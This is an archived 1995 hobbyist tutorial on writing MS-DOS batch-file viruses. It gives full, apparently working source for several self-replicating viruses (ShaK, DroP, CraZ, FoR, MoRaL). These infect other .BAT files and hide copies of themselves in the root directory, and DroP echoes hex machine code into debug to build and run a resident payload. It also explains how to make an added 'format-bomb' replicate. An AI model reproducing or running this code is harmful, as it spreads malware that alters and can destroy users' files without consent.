home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / BATCHCOL.ZIP / TUTORIAL.ZIP / BVTUTOR3.TXT < prev   
Text File  |  1996-12-12  |  17KB  |  472 lines

  1.  
  2.        ╔═════════════════════════════════════════════════════════╗
  3.        ║  Wavefunc's Batch Viruses - Issue 3 - October 19, 1995  ║
  4.        ╚═════════════════════════════════════════════════════════╝
  5.  
  6. Disclaimer:
  7.  
  8. Anything you do with this stuff is your responsibility. If anything
  9. happens, you did it. If you choose to test any of these programs, take
  10. steps to ensure the sample you are testing doesn't 'escape'. Although
  11. these programs are designed to be harmless, unforseen bugs (or features)
  12. may cause data loss!
  13.  
  14. Removal:
  15.  
  16. These batch viruses work by adding code to the beginning and/or the end
  17. of the infected BAT files. The extra code can be removed by loading the
  18. infected batch into EDIT and deleting the additional lines. Some will
  19. create a hidden copy of themselves in the root (or other directory),
  20. use ATTRIB filename -s -r -h followed by DEL filename, filename being
  21. the actual name of the virus file. The command DIR /AH /S will show all
  22. hidden files on a drive.
  23.  
  24.  
  25. Note: these replicating programs require MSDOS 6 to function correctly!
  26.  
  27. ...
  28.  
  29. Shall we create a new batch virus? OK...
  30.  
  31. @goto the_virus
  32. :host_program
  33. :: host would go here
  34.  
  35. :: --- ShaK -----------
  36. :: The ShaK Batch Virus
  37. :: --- ShaK -----------
  38. @if not '%_ShaK%==' goto ShaK_end
  39. :the_virus ShaK
  40. @if not '%_ShaK%==' goto host_program ShaK
  41. @if '%0==' echo ShaK I'm Trapped - oh no
  42. @if '%0==' goto host_program ShaK
  43. @echo off>nul.ShaK
  44. if '%1=='ShaK goto ShaK_%2
  45. set ShaK=%1 %2 %3 %4 %5 %6 %7 %8 %9
  46. call %0 ShaK rh
  47. set _ShaK=
  48. set ShaK=
  49. %comspec% /e:5000 /c %0 ShaK vir . .. %path%
  50. goto ShaK_end
  51. :ShaK_rh
  52. set _ShaK=uh
  53. %0 %ShaK%
  54. :ShaK_vir
  55. set ShaK=%0
  56. if exist c:\!shak goto ShaK_ser
  57. if exist %0.bat set ShaK=%0.bat
  58. if not exist %ShaK% exit
  59. find "ShaK"<%ShaK%>c:\!ShaK
  60. attrib c:\!ShaK +h
  61. :ShaK_ser
  62. shift%_ShaK%
  63. if '%2==' exit ShaK
  64. for %%a in (%2\*.bat) do call %ShaK% ShaK inf %%a
  65. goto ShaK_ser
  66. :ShaK_inf
  67. find "ShaK"<%3>nul
  68. if not errorlevel 1 goto ShaK_cnt
  69. echo @goto the_virus>c:\ShaK!
  70. echo :host_program>>c:\ShaK!
  71. type %3>>c:\ShaK!
  72. echo.>>c:\ShaK!
  73. type c:\!ShaK>>c:\ShaK!
  74. move c:\ShaK! %3>nul
  75. exit ShaK
  76. :ShaK_cnt
  77. set ShaKcnt=%ShaKcnt%1
  78. if %ShaKcnt%==1111111111111111 exit
  79. if not %ShaKcnt%==111 goto ShaK_end
  80. echo.|date|find "30">nul.ShaK
  81. if errorlevel 1 goto ShaK_end
  82. echo *** ShaK.Bat.Virus Installed ***
  83. echo Keep me around for your friends!%_ShaK%
  84. :ShaK_end
  85.  
  86.  
  87. Features of ShaK...
  88.  
  89. Infects batch files in the current, parent and path directories. Won't run
  90. off of autoexec.bat but will display a message before booting. The first
  91. thing the virus does is run the host batch to completion, then it spawns
  92. a new shell to run the virus in. To allow it to run from the path, it makes
  93. a hidden copy of itself in the root of drive C:, the infected batch must
  94. be ran at least once from its own directory (so the virus can see itself)
  95. for it to take hold. Gives up after 16 seeks to infected files. If at least
  96. 3 files are infected and the date contains "30", a message will be shown to
  97. indicate its presence and beg for mercy.
  98.  
  99.  
  100. Time for some Batch Lessons. Since few ask questions, I'll make them up.
  101.  
  102. *** Q. I got one of your viruses and put my own format-bomb in it but
  103. the extra code won't replicate. Why?
  104. *** A. Stupidity rules! All lines added into a batch virus MUST contain the
  105. key signature string specified in the find commands on EVERY line! There are
  106. a number of ways to do this:
  107.  
  108. echo :host_program>>c:\ShaK!           Use key in filename
  109. if not %ShaKcnt%==111 goto ShaK_end    Use key in variable or label name
  110. @echo off>nul.ShaK                     Use key as extension of 'nul'
  111. shift%_ShaK%                           Use key in an undefined variable
  112. exit ShaK                              Anything can be after 'exit'
  113. @if '%0==' goto host_program ShaK out  Anything can be after 'goto label'
  114.  
  115. If you want to add debug code, rename the script file name so it matches
  116. the key string as in echo 01 02 03 bla bla>>ShaK.t - anything to ensure
  117. the key (ShaK in this case) appears in each and every line.
  118.  
  119. *** Q. What kinds of batch viruses are possible?
  120. *** A. A few types. There seems to be six types as far as I can tell.
  121.  
  122. 1. Real batch viruses that use DOS commands to infect batch files while
  123.    preserving the functionality of the infected batch. Like mine.
  124.  
  125. 2. Companion batch files that rename other BAT, COM or EXE files then
  126.    substitutes batches with the program's base names. The program itself
  127.    is not altered.
  128.  
  129. 3. Hybrid batches that only insert calls to itself into infected batches
  130.    without attaching the actual virus code which is kept or replicates
  131.    seperately.
  132.  
  133. 4. Overwriters that destroy the program, COM, EXE or BAT, that it infects.
  134.  
  135. 5. Binary code echoed into a COM file then exececuted.
  136.  
  137. 6. Hex code echoed to a temp file then assembled using debug.
  138.  
  139.  
  140. *** Q. How much skill does it take to write a batch virus?
  141. *** A. Not much. Type HELP then study FIND, FOR, IF and the parts
  142. about redirection and environment variables. Look up ANSI also.
  143.  
  144.  
  145. *** Q. Do batch viruses exist in the wild?
  146. *** A. I don't know. Probably not. They are curiosities created only for
  147. the sake of being a replicating pattern existing on its own.
  148.  
  149.  
  150. *** Q. I have a batch virus! What do I do to remove it?
  151. *** A. If it is an advanced type that echoes binary code you may not see
  152. the virus code unless you boot clean to remove it from memory. Next, either
  153. use a search program, AV program or anything that can locate files that
  154. contain specific strings and specify a signature for the beast. For every
  155. batch file found to contain the string(s) load the file into EDIT and remove
  156. the added code. Some batch viruses place themselves in front of the host,
  157. some append the virus code and the more advanced type 1 batch viruses add
  158. lines to the beginning to branch to the appended code. Just remove it.
  159. Save a copy for me.
  160.  
  161.  
  162. *** Q. They don't work with DOS 5. Why?
  163. *** A. The FIND command in versions below 6 do not return an errorlevel,
  164. effectively crippling the virus. It would take some temp files and
  165. time-consuming filtering to make one work with DOS 5. It's possible.
  166.  
  167.  
  168. *** Q. I made some changes to one, but the changes disappear!
  169. *** A. Delete the hidden file that the virus uses.
  170.  
  171.  
  172.  
  173. Batch Guide
  174. -----------
  175.  
  176. @ - when placed in position 1 in front of internal command, @ prevents the
  177. command from being echoed to the console, even if echo is on.
  178.  
  179. >    - sends output to a file
  180. >>   - appends output to the end of a file
  181. >nul - sends output into nothingness
  182. |program... - sends output to another program
  183.  
  184. :: - comment - not executed
  185.  
  186. if exist c:\filename goto ViR_present  - branches if file is there
  187. if not exist filename goto ViR_end     - branches if not there
  188. if '%1=='Hey! goto ViR_do              - branches if 1st parm = Hey!
  189.  
  190. set something=This
  191. echo %something%                       - variables, prints 'This' to screen
  192.  
  193. for %%a in (*.bat) do call %ViR% InF %%a - scan for batches and for
  194. each one found call program in 'vir' variable with InF and the name of
  195. the batch to check (%%a). If close to the beginning you have the line
  196. if '%1=='InF goto ViR_inf" then each time the call will branch to the
  197. label ViR_inf with the filename in %2.
  198.  
  199. For example:
  200.  
  201. ::Cheezy Batch ViR
  202. @echo off>nul.ViR                      - turns off echoing
  203. if '%1=='InF goto ViR_inf              - branch line for calling infection
  204. if exist c:\vir.bat goto ViR_run       - branch if root file present
  205. if not exist %0.bat goto ViR_end       - branch if host cannot be seen
  206. find "ViR"<%0.bat>c:\vir.bat           - strip code from host, stash in root
  207. :ViR_run                                   - the heart of the matter...
  208. for %%a in (*.bat) do call c:\ViR InF %%a  - loop thru all bats in current
  209. goto ViR_end                               - and exit virus
  210. :ViR_inf                               - the infection routine...
  211. find "ViR"<%2>nul                      - check if virus present in target
  212. if not errorlevel 1 goto ViR_end       - branch if there, get next filename
  213. type c:\ViR.bat>>%2                    - append virus to the file
  214. :ViR_end                               - done.
  215.  
  216. Remove the comments before running this cheezy virus.
  217.  
  218.  
  219. And now from the stolen-code department...
  220.  
  221. @echo off%_DroP%
  222. if '%1=='DroP goto DroP_%2
  223. mem /c|find /i "DroP">nul
  224. if not errorlevel 1 goto DroP_r9
  225. echo n $DroP$.com>DroP.t
  226. echo e 0100  EB 3F 90>>DroP.t
  227. echo e 012A  1A 90 00 00 00 00>>DroP.t
  228. echo e 0130  00 00 00 00 00 00 00 00 00 B8 40 00 FF 00 00 00>>DroP.t
  229. echo e 0140  00 B0 08 BA 2C 01 E8 3F 01 B0 08 BA 86 01 E8 50>>DroP.t
  230. echo e 0150  01 B4 2C CD 21 89 16 BE 02 C6 06 3E 01 FF B4 0F>>DroP.t
  231. echo e 0160  CD 10 3C 06 74 0D 3C 07 74 09 C7 06 38 01 00 B8>>DroP.t
  232. echo e 0170  EB 07 90 C7 06 38 01 00 B0 BA C0 02 B1 04 D3 EA>>DroP.t
  233. echo e 0180  42 B4 31 CD 21 90 9C 50 B4 02 CD 16 24 40 74 1B>>DroP.t
  234. echo e 0190  2E 80 3E 3E 01 00 74 08 2E FE 0E 3E 01 EB 0C 90>>DroP.t
  235. echo e 01A0  2E 80 3E 3D 01 00 75 03 EB 08 90 58 9D 2E FF 2E>>DroP.t
  236. echo e 01B0  2C 01 9C 2E FF 1E 2C 01 06 1E 52 51 57 56 0E 1F>>DroP.t
  237. echo e 01C0  A1 38 01 8E C0 2E 80 3E 3F 01 00 74 0C 8B 3E 30>>DroP.t
  238. echo e 01D0  01 8B 36 32 01 FB EB 5A 90 C6 06 3D 01 FF FB C6>>DroP.t
  239. echo e 01E0  06 40 01 64 80 3E 40 01 00 75 03 E9 8B 00 FE 0E>>DroP.t
  240. echo e 01F0  40 01 E8 B7 00 25 FE 0F 8B F0 26 8A 04 3C 20 74>>DroP.t
  241. echo e 0200  E3 3C 00 74 DF 81 FE A0 0F 73 D9 8B FE 81 C7 A0>>DroP.t
  242. echo e 0210  00 81 FF A0 0F 73 44 26 8A 05 3C 20 74 04 3C 00>>DroP.t
  243. echo e 0220  75 C2 89 3E 30 01 89 36 32 01 C6 06 3F 01 FF EB>>DroP.t
  244. echo e 0230  48 90 C6 06 3F 01 00 26 8A 04 26 88 05 26 C6 04>>DroP.t
  245. echo e 0240  20 8B F7 81 C7 A0 00 81 FF A0 0F 73 0E 26 8A 05>>DroP.t
  246. echo e 0250  3C 20 74 CE 3C 00 74 CA EB 05 90 26 C6 04 20 FF>>DroP.t
  247. echo e 0260  0E 3A 01 75 0A D0 2E 3C 01 C7 06 3A 01 40 00 E8>>DroP.t
  248. echo e 0270  3A 00 22 06 3C 01 A2 3E 01 5E 5F 59 5A 1F 07 58>>DroP.t
  249. echo e 0280  9D 2E C6 06 3D 01 00 CF 50 06 53 55 52 B4 35 CD>>DroP.t
  250. echo e 0290  21 8B D3 5D 89 56 00 45 45 8C 46 00 5D 5B 07 58>>DroP.t
  251. echo e 02A0  C3 50 1E 0E 1F B4 25 CD 21 1F 58 C3 A1 BE 02 50>>DroP.t
  252. echo e 02B0  80 E4 B4 58 7A 01 F9 D1 D0 A3 BE 02 C3 90 00 00>>DroP.t
  253. echo rcx>>DroP.t
  254. echo 1C0>>DroP.t
  255. echo w>>DroP.t
  256. echo q>>DroP.t
  257. debug<DroP.t>nul
  258. del DroP.t
  259. $DroP$
  260. del $DroP$.com
  261. :DroP_r9
  262. if exist c:\_DroP.bat goto DroP_go
  263. echo DroP|find "X">nul
  264. if not errorlevel 1 goto DroP_end
  265. if exist %0.bat goto DroP_d1
  266. if not exist %0 goto DroP_end
  267. find "DroP"<%0>c:\_DroP.bat
  268. goto DroP_d2
  269. :DroP_d1
  270. find "DroP"<%0.bat>c:\_DroP.bat
  271. :DroP_d2
  272. attrib c:\_DroP.bat +h
  273. :DroP_go
  274. command /c c:\_DroP DroP sh
  275. goto DroP_end
  276. :DroP_sh
  277. for %%a in (*.bat ..\*.bat) do call c:\_DroP DroP in %%a
  278. exit DroP
  279. :DroP_in
  280. find "DroP"<%3>nul
  281. if not errorlevel 1 goto DroP_end
  282. type c:\_DroP.bat>DroP.t
  283. type %3>>DroP.t
  284. move DroP.t %3>nul
  285. exit DroP
  286. :DroP_end
  287. :: host batch here
  288.  
  289.  
  290.  
  291. When run, it installs a joke program resident in memory if not already
  292. present. The virus code is inserted before the host batch. Infects one
  293. file per run (or loop of the host) in the current and parent directory.
  294. The payload isn't my code but the Guru said 'keep it'. When it's
  295. resident, letters drop whenever Caps Lock is turned on.
  296.  
  297. ...
  298.  
  299. This is a slightly modified one I wrote a few months back...
  300.  
  301. @goto craz
  302. :hst_bat
  303. :: host batch goes here
  304.  
  305. @goto CraZend
  306. :CraZ (version E)
  307. @echo off%_CraZ%
  308. if '%1=='#ViR goto CraZ%2
  309. if not '%CraZ%==' goto hst_bat
  310. if '%0==' goto hst_bat CraZ
  311. set CraZ=%0
  312. set CraZc=%1 %2 %3 %4 %5 %6 %7 %8 %9
  313. call %0 #ViR hst CraZ
  314. set CraZs=
  315. set CraZi=
  316. set CraZc=%CraZ%
  317. if exist %CraZ%.bat set CraZc=%CraZ%.bat
  318. command /e:5000 /c %CraZ% #ViR vir %path%
  319. set CraZ=
  320. set CraZc=
  321. goto CraZend
  322. :CraZhst
  323. %0 #ViR hs1 %0 %CraZc%
  324. :CraZhs1
  325. shift %_CraZ%
  326. shift %_CraZ%
  327. shift %_CraZ%
  328. goto hst_bat CraZ
  329. :CraZvir
  330. if exist %CraZc% %CraZ% #ViR ser .. . %path%
  331. shift %_CraZ%
  332. if '%2==' exit CraZ
  333. set CraZc=%2\%CraZ%.bat
  334. if not exist %CraZc% set CraZc=%2\%CraZ%
  335. if not exist %CraZc% set CraZc=%2%CraZ%.bat
  336. if not exist %CraZc% set CraZc=%2%CraZ%
  337. goto CraZvir
  338. :CraZser
  339. shift %_CraZ%
  340. if '%2==' exit CraZ
  341. for %%i in (%2\*a.bat %2*a.bat) do call %CraZ% #ViR inf %%i
  342. goto CraZser
  343. :CraZact
  344. echo [CraZ] has determined this computer to be good food.
  345. exit CraZ
  346. :CraZinf
  347. find "CraZ"<%3>nul
  348. if not errorlevel 1 goto CraZS
  349. echo @goto craz>CraZ
  350. echo :hst_bat>>CraZ
  351. type %3>>CraZ
  352. echo.>>CraZ
  353. find "CraZ"<%CraZc%>>CraZ
  354. move CraZ %3>nul
  355. set CraZi=%CraZi%1
  356. if %CraZi%==11 exit
  357. :CraZS
  358. set CraZs=%CraZs%1
  359. if %CraZs%==1111111111 goto CraZact
  360. :CraZend
  361.  
  362.  
  363. This batch virus does not keep a hidden file, it locates the host even
  364. if it's in a path directory and runs directly from it. When an infected
  365. file is run the host batch runs first to completion then the virus regains
  366. control and attempts to infect two batch files. If 10 infected files are
  367. encountered before infecting two files, the virus stops trying and
  368. announces its presence to the user. This virus starts with the parent
  369. directory, then current, then path directories. It gets around.
  370.  
  371. ...
  372.  
  373. This is a small one, it only infects the current directory, but it
  374. goes for all uninfected batch files at once...
  375.  
  376. @echo off>nul.FoR
  377. if '%1=='InF goto FoRi
  378. if exist c:\!for.bat goto FoRs
  379. if not exist %0.bat goto FoRe
  380. find "FoR"<%0.bat>c:\!for.bat
  381. :FoRs
  382. FoR %%a in (*.bat) do call c:\!for InF %%a
  383. goto FoRe
  384. :FoRi
  385. find "FoR"<%2>nul
  386. if not errorlevel 1 goto FoRe
  387. type c:\!for.bat>FoR.t
  388. type %2>>FoR.t
  389. move FoR.t %2>nul
  390. :FoRe
  391. :: host follows...
  392.  
  393. ...
  394.  
  395. This is a strange one. I was thinking about something...
  396.  
  397. @echo off%_MoRaL%
  398. if '%1=='ViR goto MoRaL%2
  399. if '%!%=='111 goto MoRaLend
  400. if exist C:\MoRaL.bat goto MoRaLrun
  401. if not exist %0.bat goto MoRaLend
  402. echo MoRaL|find "x">nul
  403. if not errorlevel 1 goto MoRaLend
  404. find "MoRaL"<%0.bat>C:\MoRaL.bat
  405. attrib C:\MoRaL.bat +h
  406. :MoRaLrun
  407. command /e:5000 /c C:\MoRaL ViR shl
  408. set !=%!%1%_MoRaL%
  409. goto MoRaLend
  410. :MoRaLshl
  411. C:\MoRaL ViR srh . .. %path%
  412. :MoRaLsrh
  413. shift%_MoRaL%
  414. if '%2==' exit MoRaL
  415. for %%a in (%2\*.bat) do call C:\MoRaL ViR inf %%a
  416. goto MoRaLsrh
  417. :MoRaLinf
  418. find "MoRaL"<%3>nul
  419. if not errorlevel 1 goto MoRaLcnt
  420. type C:\MoRaL.bat>MoRaL.t
  421. type %3>>MoRaL.t
  422. move MoRaL.t %3>nul
  423. set MoRaLi=%MoRaLi%1
  424. if %MoRaLi%==11 exit
  425. :MoRaLcnt
  426. set MoRaLc=%MoRaLc%1
  427. if not %MoRaLc%==111111111111 goto MoRaLend
  428. echo.|date|find "Sun">nul.MoRaL
  429. if errorlevel 1 exit MoRaL
  430. set MoRaL=echo
  431. %MoRaL% -----------------
  432. %MoRaL% Moral Batch Virus
  433. %MoRaL% -----------------
  434. exit MoRaL
  435. :MoRaLend
  436. :: this would be the host
  437.  
  438.  
  439. Some interesting properties: it only will run three times per DOS
  440. session or bootup then it turns itself off. Each time it runs it
  441. tries to infect two batch files, but only if it can do it in less
  442. than twelve seeks. Goes for the current directory first then checks
  443. the parent and path. After encountering twelve infected files it
  444. checks the date and if it's Sunday prints a message. Infected files
  445. will have the virus placed before the host batch. A hidden copy of
  446. the virus is placed in the file 'C:\MORAL.BAT'. To be effective an
  447. infected batch must run at least once with it in the current
  448. directory (and without specifying the 'BAT' extension). Before
  449. installing it makes sure find works properly (Dos 6 rules!).
  450.  
  451. ...
  452.  
  453. One thing I'll mention - when cutting these programs out, or otherwise
  454. transfering them make sure no extra spaces are padded to the ends of
  455. each line - extra spaces will usually render these programs nonworking
  456. or severely impared. Or even go nuts and infect every batch at once!
  457. In most editors you can place the cursor at the apparent end of the line
  458. then press Shift-End - any spaces will be highlighted. A few batches
  459. might actually use a specific number of spaces at the end of a line but
  460. this is rare. None of these do. However... Anything after a :LaBeL or
  461. a goto LaBeL is open game - ' :LaBeL this is what I think ' is valid.
  462. It is mainly the set commands that must not have extra spaces.
  463.  
  464. I modified ShaK and CraZ slightly from the original versions to include
  465. the line  echo.>>CraZ  (and the equivalent in ShaK) in the infection code.
  466. This has the effect of adding a blank line between the host batch and the
  467. virus code. Just in case the host does not have a CR at the end of the
  468. last line, which in the original versions would cause malfunction.
  469.  
  470. That's it. Treat my bugs well.
  471.  
  472.